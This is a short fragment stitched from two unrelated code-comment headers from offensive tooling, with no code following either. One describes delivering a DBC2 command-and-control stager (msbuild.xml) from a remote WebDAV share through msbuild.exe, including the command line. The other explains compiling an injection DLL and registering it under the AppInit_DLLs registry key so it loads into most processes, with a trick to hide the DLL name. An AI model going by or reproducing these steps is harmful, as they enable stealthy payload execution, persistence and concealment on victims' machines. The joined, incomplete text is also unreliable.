' Example of DBC2 msbuild.xml stager delivery through a webdav maping
' The stager file (msbuild.xml) can be generated from the DBC2 controller
'
' NOTE:
' msbuild.exe is supposed to accept a path straight from a webdav server (ex: msbuild.exe \\webdav_server\msbuild.xml)
' but it fails miserably for me, so I have to have to first map the drive...

// Compile with: cl.exe appinitdllinjection.c /LD /o appinitdllinjection.dll
//
// This DLL can only be injected in a x64 process
//
// Set the registry to automatically load this DLL into 'any' process that is started (at least the ones relying on User32.dll)
// by using the AppInit_DLLs capability:
//
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs = 'path_to_the_dll' (comma or space separated if required)
//	One trick with this registry entry is to separate DLLs with an hex '00' (by editing the value in binary) to hide the DLL name
